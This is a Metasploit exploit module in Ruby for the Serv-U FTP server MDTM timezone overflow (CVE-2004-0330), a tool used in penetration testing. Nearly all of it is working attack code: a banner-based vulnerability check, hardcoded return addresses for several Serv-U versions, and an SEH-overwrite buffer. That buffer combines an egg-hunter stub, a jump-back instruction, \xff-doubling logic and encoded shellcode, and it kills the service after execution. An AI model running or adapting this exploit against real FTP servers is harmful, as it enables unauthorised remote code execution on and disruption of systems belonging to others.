Serv-U FTPD MDTM Overflow



##

# $Id: servu_mdtm.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Serv-U FTPD MDTM Overflow',
            'Description'    => %q{
                    This is an exploit for the Serv-U\'s MDTM command timezone
                overflow. It has been heavily tested against versions
                4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
                nt4/2k/xp/2k3. I have also had success against version 3,
                but only tested 1 version/os. The bug is in all versions
                prior to 5.0.0.4, but this exploit will not work against
                versions not listed above. You only get one shot, but it
                should be OS/SP independent.

                This exploit is a single hit, the service dies after the
                shellcode finishes execution.
            },
            'Author'         => [ 'spoonm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    [ 'CVE', '2004-0330'],
                    [ 'OSVDB', '4073'],
                    [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
                    [ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
                    [ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
                    [ 'BID', '9751'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
                    'StackAdjustment' => -3500,
                },
            'Targets'        =>
                [
                    [
                        'Serv-U Uber-Leet Universal ServUDaemon.exe', # Tested OK - hdm 11/25/2005
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x00401877,
                        },
                    ],
                    [
                        'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x0040164d,
                        },
                    ],
                    [
                        'Serv-U 5.0.0.0 ServUDaemon.exe',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x0040167e,
                        },
                    ],
                ],
            'DisclosureDate' => 'Feb 26 2004',
            'DefaultTarget' => 0))

        register_advanced_options(
            [
                OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),
                OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),
            ], self.class)

    end

    # From 5.0.0.4 Change Log
    # "* Fixed bug in MDTM command that potentially caused the daemon to crash."
    #
    # Nice way to play it down boys
    #
    # Connected to ftp2.rhinosoft.com.
    # 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
    #
    # Heh :)

    def check
        connect
        disconnect

        case banner
            when /Serv-U FTP Server v4\.1/
                print_status('Found version 4.1.0.3, exploitable')
                return Exploit::CheckCode::Vulnerable

            when /Serv-U FTP Server v5\.0/
                print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
                return Exploit::CheckCode::Appears

            when /Serv-U FTP Server v4\.0/
                print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
                send_user(datastore['USER'])
                send_pass(datastore['PASS'])
                if (double_ff?())
                    print_status('Found version 4.0.0.4, exploitable');
                    return Exploit::CheckCode::Vulnerable
                else
                    print_status('Found version 4.1.0.0, exploitable');
                    return Exploit::CheckCode::Vulnerable
                end

            when /Serv-U FTP Server/
                print_status('Found an unknown version, try it!');
                return Exploit::CheckCode::Detected

            else
                print_status('We could not recognize the server banner')
                return Exploit::CheckCode::Safe
        end

        return Exploit::CheckCode::Safe
    end

    def exploit

        connect_login

        print_status("Trying target #{target.name}...")

        # Should have paid more attention to skylined's exploit, only after figuring
        # out how my payloads were getting transformed did I remember seeing \xff
        # doubling in his CHMOD exploit, arg!
        shellcode = payload.encoded

        case datastore['ForceDoubling']
            when 1
                print_status("Forced doubling of all \\xff sequences in the encoded payload")
                shellcode.gsub!(/\xff/, "\xff\xff")
            when 0
                print_status("Forced doubling has been disabled")
            when 2
                if (double_ff?())
                    print_status("Forced doubling enabled after detection of version 4.0.0.4")
                    shellcode.gsub!(/\xff/, "\xff\xff")
                end
        end

        # Searcher expects address to start scanning at in edi
        # Since we got here via a pop pop ret, we can just the address of the jmp
        # off the stack, add esp, BYTE -4 ; pop edi

        search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
        search_stub = Rex::Arch::X86.searcher(search_rtag)
        search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
        if (datastore['SEHOffset'] < search_code.length)
            print_error("Not enough room for search code, adjust SEHOffset")
            return
        end

        jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'

        buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
        buf << search_code
        buf << jump_back
        buf << [target.ret].pack('V')
        buf << ' /'
        buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
        buf << shellcode
        buf << search_rtag

        send_cmd( [buf], false )

        handler
        disconnect
    end

    def double_ff?
        res = send_cmd( ['P@SW'], true )
        return (res and res =~ /^500/) ? true : false
    end

end